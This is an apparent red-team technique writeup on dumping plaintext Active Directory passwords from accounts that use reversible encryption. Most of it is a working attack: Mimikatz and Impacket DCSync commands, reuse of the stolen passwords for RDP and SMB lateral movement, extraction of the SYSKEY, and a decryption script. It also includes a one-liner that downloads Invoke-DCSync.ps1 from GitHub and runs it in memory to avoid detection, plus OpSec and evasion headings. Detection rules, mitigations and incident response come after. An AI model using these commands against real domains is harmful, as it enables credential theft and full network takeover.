| Attribute | Details |
|---|---|
| Technique ID | CA-DUMP-010 |
| MITRE ATT&CK v18.1 | T1003 - OS Credential Dumping & T1556.005 - Modify Authentication Process: Reversible Encryption |
| Tactic | Credential Access |
| Platforms | Windows AD |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-02 |
| Affected Versions | Windows Server 2003-2025 (all editions) |
| Patched In | Unpatched (Mitigation: Disable “Store password using reversible encryption” policy) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team) not included because no direct Atomic test exists for UF_ENCRYPTED_TEXT_PASSWORD extraction (Atomic focuses on post-compromise credential dumping; this technique requires pre-compromise policy configuration). All section numbers have been dynamically renumbered based on applicability.
Concept: Active Directory includes a legacy authentication feature called “reversible password encryption” (controlled by the UF_ENCRYPTED_TEXT_PASSWORD flag in the UserAccountControl attribute). When this feature is enabled for a user account, instead of storing the password as a one-way hash (which cannot be reversed), Active Directory stores the password in an encrypted form that can be decrypted back to plaintext using a domain-wide encryption key (SYSKEY). An attacker with “Replicate Directory Changes” permissions (e.g., Domain Admin) can perform a DCSync attack to replicate Active Directory data from a domain controller. If any user accounts have reversible encryption enabled, the DCSync replication will include the encrypted password, which the attacker can then decrypt to plaintext using publicly available tools like Mimikatz or Impacket—without needing to crack hashes or perform brute-force attacks.
Attack Surface: The attack targets the UserAccountControl attribute (readable by any authenticated domain user), the userParameters LDAP attribute (contains encrypted password blob G$RADIUSCHAP and encryption key G$RADIUSCHAPKEY), and the AD replication service (DRSUAPI on port 135/445). Additionally, the SYSKEY stored in the registry (HKLM\SAM\SAM\Domains\Account) is the decryption master key; domain admins can extract it directly from the domain controller.
Business Impact: Complete domain compromise. Unlike NTLM hash extraction (which requires offline cracking), reversible encryption provides plaintext passwords immediately—no rainbow tables, no GPU-accelerated cracking needed. If even a single privileged account (e.g., domain admin, service account) has reversible encryption enabled, the attacker gains plaintext credentials for that account and can escalate from any domain-level privilege to full T0 control. This technique is favored by ransomware operators and sophisticated APT groups because it guarantees success with zero cryptographic effort.
Technical Context: Reversible encryption is a legacy feature designed for protocols like CHAP (Challenge Handshake Authentication Protocol) and Digest Authentication in IIS—both of which are rarely used in modern environments. However, in poorly-configured or legacy environments, administrators may have enabled this policy globally or for specific users “just in case.” Extraction is trivial for domain admins and takes seconds once DCSync rights are confirmed.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 5.3.4 | Store password using reversible encryption must be disabled for all accounts | | DISA STIG | WN10-GE-000041 | Reversible password encryption must not be enabled | | NIST 800-53 | AC-3, AC-6, IA-5 | Access enforcement, least privilege, authentication mechanisms | | GDPR | Art. 32 | Encryption and pseudonymization of personal data (passwords) | | DORA | Art. 9 | Operational resilience; protection against credential compromise | | NIS2 | Art. 21 | Cyber risk management; access control and credential protection | | ISO 27001 | A.9.2.3, A.9.3.1, A.10.1.1 | Privileged access management, password policy, audit logging | | ISO 27005 | Section 5.2.3 | Risk assessment of reversible encryption misconfiguration |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Enumerate all users with reversible encryption enabled
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl, Name, sAMAccountName | Select-Object Name, sAMAccountName, userAccountControl
# Alternative: List by UserAccountControl flag name
Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true} -Properties AllowReversiblePasswordEncryption | Select-Object Name, sAMAccountName, AllowReversiblePasswordEncryption
# Check if reversible encryption policy is enabled (Group Policy)
Get-GPResultantSetOfPolicy -Computer $env:COMPUTERNAME -Scope Computer | Select-String "reversible"
# Enumerate userParameters attribute for encrypted passwords (direct LDAP query)
# This attribute contains G$RADIUSCHAP (encrypted password) for reversible-encryption users
$user = Get-ADUser -Identity "username" -Properties userParameters
$user.userParameters
# Output example: G$RADIUSCHAP=<base64_encrypted_data>G$RADIUSCHAPKEY=<base64_key>
What to Look For:
AllowReversiblePasswordEncryption = True or userAccountControl containing flag 128 (0x00000080).userParameters attribute containing G$RADIUSCHAP and G$RADIUSCHAPKEY.Version Note: Flag behavior consistent across Windows Server 2003-2025. LDAP attribute names and encoding identical across versions.
# Check if reversible encryption was ever enabled in domain
Get-ADUser -Filter * -Properties userAccountControl | Where-Object {
($_.userAccountControl -band 128) -eq 128
} | Measure-Object
# Count vulnerable users
$vulnCount = (Get-ADUser -Filter 'userAccountControl -band 128').Count
Write-Host "Users with reversible encryption enabled: $vulnCount"
# Same commands apply; check if reversible encryption is explicitly disabled in policy
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest"
$wdigestValue = Get-ItemProperty -Path $regPath -Name "UseLogonCredential" -ErrorAction SilentlyContinue
if ($wdigestValue -eq 1) {
Write-Host "WARNING: WDigest plaintext password caching also enabled!"
}
# If targeting from Linux attacker machine with domain credentials
# Use ldapsearch to enumerate reversible encryption users
ldapsearch -x -h <DC_IP> -D "cn=Administrator,cn=Users,dc=CONTOSO,dc=COM" -w "password" -b "dc=CONTOSO,dc=COM" "(userAccountControl:1.2.840.113556.1.4.803:=128)" cn userParameters
# Alternative: Use Impacket to enumerate before DCSync
python3 -m impacket.examples.ldapquer -h <DC_IP> -u CONTOSO\\\\admin -p password -t custom -q '(userAccountControl:1.2.840.113556.1.4.803:=128)' cn
Supported Versions: Windows Server 2003-2025 (all editions)
This method uses Mimikatz to perform a DCSync attack and automatically decrypt plaintext passwords for users with reversible encryption enabled.
Objective: Confirm current user/computer account has rights to replicate AD data
Version Note: Permission structure consistent across all Windows Server versions (GUID-based in AD ACL).
Command:
# Method 1: Check if current user is Domain Admin (simplest check)
([System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
# Method 2: Enumerate replication rights for current user (detailed)
Import-Module ActiveDirectory
$domainNC = (Get-ADDomain).DistinguishedName
$acl = Get-Acl -Path "AD:\\$domainNC"
# GUIDs for replication permissions
$replicationGUIDs = @(
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", # Replicate Directory Changes
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # Replicate Directory Changes All
)
foreach ($ace in $acl.Access) {
if ($replicationGUIDs -contains $ace.ObjectType) {
Write-Host "DCSync right found: $($ace.IdentityReference) - $($ace.ObjectType)"
}
}
Expected Output:
True # Admin check passed (Domain Admin has DCSync rights by default)
# OR (detailed check):
DCSync right found: CONTOSO\Domain Admins - 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
What This Means:
True confirms current user has admin rights (and therefore DCSync rights).OpSec & Evasion:
Troubleshooting:
Objective: Perform DCSync replication attack and dump credentials from domain controller, including plaintext passwords for reversible-encryption users
Version Note: Mimikatz DCSync syntax identical across Windows Server 2003-2025. Encrypted password format varies slightly by version (DES in Server 2003, AES in Server 2008+); Mimikatz auto-detects and decrypts.
Command (Mimikatz - All Users with Plaintext Display):
# Download/Execute Mimikatz
& "C:\Temp\mimikatz.exe" "privilege::debug" "lsadump::dcsync /domain:CONTOSO.COM /all /csv" exit
# Output will show:
# User1, NTLM_HASH, CLEARTEXT_PASSWORD (if reversible encryption enabled)
# User2, NTLM_HASH, <empty> (if reversible encryption disabled)
Expected Output:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::dcsync /domain:CONTOSO.COM /all /csv
[DC] 'CONTOSO.COM' will be the domain
[DC] 'DC01.CONTOSO.COM' will be the DC server
[DC] 'CONTOSO.COM' will be the domain
RID NTLM SHA1 SHA256 NTLMSSP SYSKEY CLEARTEXT
500 8846f7eaee8fb117ad06bdd830b7586c d06... administrator (empty - no reversible encryption)
501 aad3b435b51404eeaad3b435b51404ee 31d... guest (empty)
1001 7c9a6c5a1b3d2f4e8a9c2b1d3e4f5a6b 1a2... backup-admin ServiceAccount!2024 (plaintext - reversible enabled!)
1002 5f3e2d1c0b9a8f7e6d5c4b3a2f1e0d9c e8f... database-admin Password123! (plaintext - reversible enabled!)
What This Means:
OpSec & Evasion:
Troubleshooting:
runas /netonly.Objective: Use harvested plaintext passwords to achieve privilege escalation or lateral movement
Version Note: Plaintext password reuse identical across all versions.
Command (Lateral Movement via RDP):
# Use extracted plaintext password to log in to another system via RDP
$creds = New-Object System.Management.Automation.PSCredential("CONTOSO\backup-admin", (ConvertTo-SecureString "ServiceAccount!2024" -AsPlainText -Force))
Enter-PSSession -ComputerName "backup-server.contoso.com" -Credential $creds
Command (Lateral Movement via SMB):
# Map network drive using extracted password
net use Z: \\backup-server\sensitive-data /user:CONTOSO\backup-admin ServiceAccount!2024
# Access sensitive data
dir Z:\
Command (Privilege Escalation via RunAs):
# If extracted password is for domain admin, use to run PowerShell as admin
runas /user:CONTOSO\Administrator /netonly "powershell.exe"
# Prompted for password; enter extracted plaintext
Expected Output:
Z: \\backup-server\sensitive-data IS NOW CONNECTED
Directory of Z:\
01/02/2025 10:30 AM <DIR> Backups
01/02/2025 10:31 AM 5GB backup_20250102.bak
What This Means:
OpSec & Evasion:
Supported Versions: Windows Server 2003-2025 (via secretsdump)
This method uses Impacket (Python) to perform DCSync from a Linux/macOS/Windows attacker machine and automatically decrypt plaintext passwords.
Objective: Confirm Impacket is installed and DC is reachable on DRSUAPI ports
Version Note: Impacket compatibility identical across Windows Server versions.
Command:
# Install Impacket (if not already installed)
pip3 install impacket
# Verify DC is reachable
nmap -p 135,389,445 <DC_IP>
# Expected: All ports open
# Alternative: Test LDAP connectivity
python3 -c "import socket; s = socket.socket(); s.connect(('<DC_IP>', 389)); print('LDAP port open')"
Expected Output:
Starting Nmap 7.92 at 2025-01-02 10:30 UTC
Nmap scan report for 192.168.1.10
Host is up (0.045s latency).
PORT STATE SERVICE
135/tcp open epmap
389/tcp open ldap
445/tcp open microsoft-ds
LDAP port open
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Perform DCSync and dump all credentials, including plaintext passwords for reversible-encryption users
Version Note: secretsdump output identical across Windows Server versions.
Command (Using Plaintext Credentials):
# Extract all credentials from domain
impacket-secretsdump -outputfile 'dcsync' -dc-ip '192.168.1.10' 'CONTOSO/Administrator:password@DC01.CONTOSO.COM'
# Output files created:
# dcsync.ntds - NTLM/LM hashes
# dcsync.cleartext - PLAINTEXT passwords (for reversible-encryption users)
# dcsync.kerberos - Kerberos keys (DES, AES128, AES256)
# dcsync.sam - Domain controller's SAM hashes
# dcsync.secrets - LSA secrets
Command (Using Pass-the-Hash):
# If you have NTLM hash instead of plaintext password
impacket-secretsdump -outputfile 'dcsync' -hashes ':NT_HASH' -dc-ip '192.168.1.10' 'CONTOSO/Administrator@DC01.CONTOSO.COM'
Command (Using Kerberos Ticket):
# If you have a valid Kerberos ticket (TGT or TGS)
export KRB5CCNAME=ticket.ccache
impacket-secretsdump -k -no-pass -outputfile 'dcsync' -dc-ip '192.168.1.10' 'DC01.CONTOSO.COM'
Expected Output (dcsync.cleartext file):
backup-admin:ServiceAccount!2024
database-admin:Password123!
service-account:SvcAcct@2024!
What This Means:
.cleartext file contains ready-to-use credentials (no decryption needed; Impacket handles it).OpSec & Evasion:
Troubleshooting:
Objective: Copy plaintext password file to attacker machine and parse credentials
Version Note: File format identical across versions.
Command (Parse .cleartext file):
# Read plaintext password file
cat dcsync.cleartext
# Parse into username:password format for credential stuffing
while IFS=: read -r user pass; do
echo "Testing $user : $pass"
# Use credentials for lateral movement (SMB, RDP, etc.)
done < dcsync.cleartext
Expected Output:
backup-admin:ServiceAccount!2024
database-admin:Password123!
service-account:SvcAcct@2024!
Testing backup-admin : ServiceAccount!2024
Testing database-admin : Password123!
Testing service-account : SvcAcct@2024!
What This Means:
OpSec & Evasion:
Supported Versions: Windows Server 2003-2025
This method manually reads the encrypted password blob from LDAP and analyzes it without using Mimikatz/Impacket (useful when those tools are blocked by AV).
Objective: Extract encrypted password blob (G$RADIUSCHAP) and encryption key (G$RADIUSCHAPKEY) from Active Directory
Version Note: LDAP attribute names and format identical across versions.
Command (PowerShell):
# Query specific user's userParameters
$user = Get-ADUser -Identity "backup-admin" -Properties userParameters
$userParams = $user.userParameters
Write-Host "User: $($user.Name)"
Write-Host "userParameters: $userParams"
# Parse userParameters to extract G$RADIUSCHAP and G$RADIUSCHAPKEY
# Format example: G$RADIUSCHAP=<base64_blob>G$RADIUSCHAPKEY=<base64_key>
# Split by G$ to isolate encrypted password and key
$parts = $userParams -split 'G\$'
foreach ($part in $parts) {
if ($part.StartsWith('RADIUSCHAP')) {
Write-Host "Encrypted Password (G\$RADIUSCHAP): $($part.Substring(10))"
}
if ($part.StartsWith('RADIUSCHAPKEY')) {
Write-Host "Encryption Key (G\$RADIUSCHAPKEY): $($part.Substring(13))"
}
}
Command (LDAP Query - ldapsearch):
# Query LDAP directly for userParameters
ldapsearch -h <DC_IP> -D "CN=Administrator,CN=Users,DC=CONTOSO,DC=COM" -w "password" -b "DC=CONTOSO,DC=COM" "(sAMAccountName=backup-admin)" userParameters
# Output example:
# userParameters: G$RADIUSCHAP=<base64>G$RADIUSCHAPKEY=<base64>
Expected Output:
User: backup-admin
userParameters: G$RADIUSCHAP=AQAAANaA...truncated...==G$RADIUSCHAPKEY=AQAAAP8A...truncated...==
Encrypted Password (G$RADIUSCHAP): AQAAANaA...truncated...==
Encryption Key (G$RADIUSCHAPKEY): AQAAAP8A...truncated...==
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: Windows Server 2003-2025
This method extracts the SYSKEY from the domain controller registry and uses it to manually decrypt G$RADIUSCHAP blobs (requires Domain Admin access to DC).
Objective: Export the domain-wide encryption key (SYSKEY) required to decrypt reversible-encryption passwords
Version Note: SYSKEY location and format identical across Windows Server 2003-2025.
Command (PowerShell - Remote Registry Access):
# Connect to DC registry remotely (requires admin on DC)
$dcName = "DC01.CONTOSO.COM"
$regPath = "HKLM:\SAM\SAM\Domains\Account"
# Query SAM hive (requires SYSTEM context on DC)
# First, create registry session on DC
$dcSession = New-PSSession -ComputerName $dcName -Credential (Get-Credential)
# Note: Direct remote registry access to SAM hive is restricted (requires local access on DC)
# Workaround: Use PsExec to run command locally on DC
Invoke-Command -Session $dcSession -ScriptBlock {
Get-ItemProperty -Path "HKLM:\SAM\SAM\Domains\Account" -Name "F" -ErrorAction SilentlyContinue
}
Command (Direct Registry Access - On Domain Controller Console):
# Run this DIRECTLY on the Domain Controller (not remotely)
# Requires SYSTEM or admin context
$sysKeyPath = "HKLM:\SAM\SAM\Domains\Account"
$sysKey = Get-ItemProperty -Path $sysKeyPath -Name "F" -ErrorAction SilentlyContinue
$sysKeyValue = [System.BitConverter]::ToString($sysKey.F)
Write-Host "SYSKEY extracted: $sysKeyValue"
Expected Output:
SYSKEY extracted: 01-02-03-04-05-06-07-08-09-0A-0B-0C-0D-0E-0F-10
What This Means:
OpSec & Evasion:
Troubleshooting:
psexec -s -i or invoke via Scheduled Task.Objective: Use SYSKEY to decrypt the G$RADIUSCHAPKEY, then use that key to decrypt the password
Version Note: Decryption algorithm (RC4 in Server 2003, RC4 + RC2 in Server 2008+) implemented in Mimikatz; manual decryption requires cryptography knowledge.
Command (Theoretical - Requires Custom Decryption Script):
# Python example: Decrypt G$RADIUSCHAP using SYSKEY
# This is simplified; real implementation requires crypto library (cryptography or Crypto.Cipher)
import base64
from Crypto.Cipher import RC4, RC2
import hashlib
# Inputs (from previous steps)
syskey_hex = "01-02-03-04-05-06-07-08-09-0A-0B-0C-0D-0E-0F-10" # DC registry
radiuschap_b64 = "AQAAANaA...truncated...==" # From LDAP
radiuschapkey_b64 = "AQAAAP8A...truncated...==" # From LDAP
# Decode base64
radiuschap = base64.b64decode(radiuschap_b64)
radiuschapkey = base64.b64decode(radiuschapkey_b64)
syskey = bytes.fromhex(syskey_hex.replace('-', ''))
# Step 1: Decrypt radiuschapkey using SYSKEY (RC4)
rc4_cipher = RC4.new(syskey)
decrypted_key = rc4_cipher.decrypt(radiuschapkey[16:]) # Skip IV (first 16 bytes)
# Step 2: Decrypt password using decrypted_key
rc4_cipher2 = RC4.new(decrypted_key)
plaintext_password_utf16 = rc4_cipher2.decrypt(radiuschap[16:]) # Skip IV
# Step 3: Decode UTF-16 to plaintext
plaintext_password = plaintext_password_utf16.decode('utf-16-le', errors='ignore').rstrip('\x00')
print(f"Plaintext Password: {plaintext_password}")
Expected Output:
Plaintext Password: ServiceAccount!2024
What This Means:
OpSec & Evasion:
Version: 2.2.0+ (Latest recommended) Minimum Version: 2.0 (older versions may have incomplete reversible encryption support) Supported Platforms: Windows Server 2003-2025, .NET optional
Version-Specific Notes:
Installation:
# Download latest release
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230419/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile "Mimikatz.zip"
Expand-Archive "Mimikatz.zip"
Usage (Common Commands):
# Extract all credentials including plaintext (reversible encryption)
.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:CONTOSO.COM /all /csv" exit
# Extract specific user's password
.\mimikatz.exe "lsadump::dcsync /domain:CONTOSO.COM /user:backup-admin" exit
# Extract KRBTGT (for Golden Ticket)
.\mimikatz.exe "lsadump::dcsync /domain:CONTOSO.COM /user:krbtgt" exit
Version: Latest (fortra/impacket) Minimum Version: 0.9.20 Supported Platforms: Linux, macOS, Windows (Python 3.8+)
Installation:
pip3 install impacket
Usage:
# Extract all credentials with plaintext passwords
impacket-secretsdump -outputfile 'dcsync' -dc-ip '192.168.1.10' 'CONTOSO/Administrator:password@DC01.CONTOSO.COM'
# Using Pass-the-Hash
impacket-secretsdump -hashes ':NTLM_HASH' -dc-ip '192.168.1.10' 'CONTOSO/Administrator@DC01.CONTOSO.COM'
# Using Kerberos ticket
export KRB5CCNAME=ticket.ccache
impacket-secretsdump -k -no-pass -dc-ip '192.168.1.10' 'DC01.CONTOSO.COM'
# Download and execute DCSync via PowerShell reflection (avoids binary detection)
$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-DCSync.ps1"
$script = (Invoke-WebRequest -Uri $url).Content
Invoke-Expression $script
Invoke-DCSync -AllData
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4662 // Directory Services Access
| where Properties contains "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" or Properties contains "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" // Replication GUIDs
| where TargetUserName !in ("SYSTEM", "NT AUTHORITY\\SYSTEM", "Domain Controllers") // Exclude legitimate DC replication
| summarize count() by Computer, TargetUserName, SourceComputerIPAddress, bin(TimeGenerated, 5m)
| where count() >= 3 // Multiple replication requests suspicious
| project
TimeGenerated,
DCComputer = Computer,
Actor = TargetUserName,
SourceIP = SourceComputerIPAddress,
RequestCount = count(),
Severity = "Critical"
What This Detects:
Manual Configuration Steps (Azure Portal):
DCSync Replication AttackDCComputer, ActorRule Configuration:
KQL Query:
AuditLogs
| where OperationName == "Set-ADUser" or OperationName == "Update-ADUser"
| where TargetResources contains "AllowReversiblePasswordEncryption" and TargetResources contains "true"
| project
TimeGenerated,
Actor = InitiatedBy[0].user.userPrincipalName,
TargetUser = TargetResources[0].displayName,
OperationName,
Severity = "High"
What This Detects:
Event ID: 4662 (Directory Services Access - ADSync Replication)
EventID = 4662 AND (Properties contains "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" OR Properties contains "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2")Event ID: 4738 (User Account Change - Reversible Encryption)
EventID = 4738 (review all attribute changes; filter for AllowReversiblePasswordEncryption changes)Manual Configuration Steps (Group Policy):
gpupdate /force on domain controllersManual Configuration Steps (Auditpol):
# Enable DS Access auditing via command line
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025
<Sysmon schemaversion="4.8">
<RuleGroup name="Reversible Encryption - Credential Extraction" groupRelation="or">
<!-- Detect Mimikatz execution (lsadump module) -->
<ProcessCreate onmatch="include">
<Image condition="contains">mimikatz</Image>
<CommandLine condition="contains">lsadump</CommandLine>
<CommandLine condition="contains">dcsync</CommandLine>
</ProcessCreate>
<!-- Detect Impacket secretsdump -->
<ProcessCreate onmatch="include">
<Image condition="contains">secretsdump</Image>
<CommandLine condition="contains">dcsync</CommandLine>
</ProcessCreate>
<!-- Detect PowerShell DCSync execution -->
<ProcessCreate onmatch="include">
<Image condition="contains">powershell.exe</Image>
<CommandLine condition="contains">Invoke-DCSync</CommandLine>
</ProcessCreate>
<!-- Detect LDAP queries for userParameters (may indicate reconnaissance) -->
<NetworkConnect onmatch="include">
<DestinationPort>389</DestinationPort> <!-- LDAP -->
<Image condition="contains">ldapsearch</Image>
<Image condition="contains">adfind</Image>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -Filter {EventID -eq 1}Alert Name: “Suspicious Directory Services Access Detected - Potential DCSync Attack”
Manual Configuration Steps:
Manual Steps (Group Policy - Disable reversible encryption):
gpupdate /force on all machinesManual Steps (PowerShell - Disable for all users):
# Disable reversible encryption for all users in domain
Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true} | Set-ADUser -AllowReversiblePasswordEncryption $false
# Verify disabled
Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true} | Measure-Object
# Result should be 0
Manual Steps (PowerShell - Remove reversible encryption flag from userAccountControl):
# For users already having the flag set
$users = Get-ADUser -Filter {userAccountControl -band 128}
foreach ($user in $users) {
Set-ADUser -Identity $user -AllowReversiblePasswordEncryption $false
}
Validation Command:
# Verify no users have reversible encryption enabled
$result = Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true}
if ($result) {
Write-Host "WARNING: Reversible encryption still enabled for some users!" -ForegroundColor Red
} else {
Write-Host "OK: Reversible encryption disabled for all users" -ForegroundColor Green
}
Manual Steps:
PowerShell Alternative:
# Query current replication rights
Import-Module ActiveDirectory
$domainNC = (Get-ADDomain).DistinguishedName
$acl = Get-Acl -Path "AD:\\$domainNC"
$replicationGUIDs = @(
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", # Replicate Directory Changes
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # Replicate Directory Changes All
)
foreach ($ace in $acl.Access) {
if ($replicationGUIDs -contains $ace.ObjectType) {
Write-Host "Replication right granted to: $($ace.IdentityReference)"
# If this is not a DC or Enterprise Admin, remove this ACE
}
}
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Group Policy):
gpupdate /force, rebootManual Steps:
# Enable DS Access auditing
auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
# Verify enabled
auditpol /get /subcategory:"Directory Service Access"
Manual Steps:
Manual Steps:
Manual Steps:
Manual Steps:
# 1. Verify reversible encryption disabled
$result1 = Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true}
Write-Host "Reversible encryption users: $(if ($result1) {$result1.Count} else {0})" -ForegroundColor $(if ($result1) {'Red'} else {'Green'})
# 2. Verify no excessive DCSync rights
$domainNC = (Get-ADDomain).DistinguishedName
$acl = Get-Acl -Path "AD:\\$domainNC"
$excRepl = $acl.Access | Where-Object {$_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -and $_.IdentityReference -notmatch "(Domain Controllers|Enterprise Admins)"}
Write-Host "Unauthorized replication rights: $(if ($excRepl) {$excRepl.Count} else {0})" -ForegroundColor $(if ($excRepl) {'Red'} else {'Green'})
# 3. Verify DS Access auditing enabled
$audit = auditpol /get /subcategory:"Directory Service Access" | Select-String "Success and Failure"
Write-Host "DS Access auditing: $(if ($audit) {'Enabled'} else {'Disabled'})" -ForegroundColor $(if ($audit) {'Green'} else {'Red'})
# 4. Verify Domain Admins group size
$daCount = (Get-ADGroupMember -Identity "Domain Admins").Count
Write-Host "Domain Admins members: $daCount (should be <= 3)" -ForegroundColor $(if ($daCount -le 3) {'Green'} else {'Red'})
C:\Temp\mimikatz.exe, C:\Temp\Mimikatz.zip (tool staging)dcsync.ntds, dcsync.cleartext, dcsync.kerberos (Impacket output files)*.ccache files (Kerberos tickets used for authentication).log files containing plaintext passwordsHKLM:\SAM\SAM\Domains\Account (accessed by attacker to extract SYSKEY)HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL (if LSASS PPL was disabled to allow Mimikatz)Disable-ADAccount -Identity "compromised-admin"
Set-ADUser -Identity "compromised-admin" -ChangePasswordAtLogon $true
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
Get-ChildItem -Path "C:\Temp" -Filter "*mimikatz*" -Recurse# This is a nuclear option; use only if DCSync confirmed
Get-ADUser -Filter * | Where-Object {$_.Enabled -eq $true} | Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempNewPass!2025" -Force)
Remove-ADGroupMember -Identity "Domain Admins" -Members "compromised-admin" -Confirm:$false
Disable-ADAccount -Identity "compromised-admin"
# Reset krbtgt password twice (invalidates all TGTs)
Reset-ADServiceAccountPassword -Identity "krbtgt" -Force
Start-Sleep -Seconds 600 # Wait 10 minutes
Reset-ADServiceAccountPassword -Identity "krbtgt" -Force
Get-ADUser -Filter {AllowReversiblePasswordEncryption -eq $true} | Set-ADUser -AllowReversiblePasswordEncryption $false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Remote Code Execution | Attacker gains foothold on compromised system (phishing, exploit, etc.) |
| 2 | Privilege Escalation | [PE-VALID-001] Valid Domain Account Compromise | Attacker steals or cracks domain user credentials |
| 3 | Credential Access - ENUM | [REC-AD-002] Anonymous LDAP Enumeration | Attacker discovers users with reversible encryption enabled (reconnaissance) |
| 4 | Credential Access - DUMP | [CA-DUMP-010] | Attacker performs DCSync + decrypts plaintext passwords |
| 5 | Privilege Escalation | [PE-VALID-008] Domain Admin Credential Reuse | Attacker uses extracted plaintext admin password to elevate to Domain Admin |
| 6 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Attacker creates persistent admin backdoor |
| 7 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | Attacker encrypts all domain resources using T0 admin rights |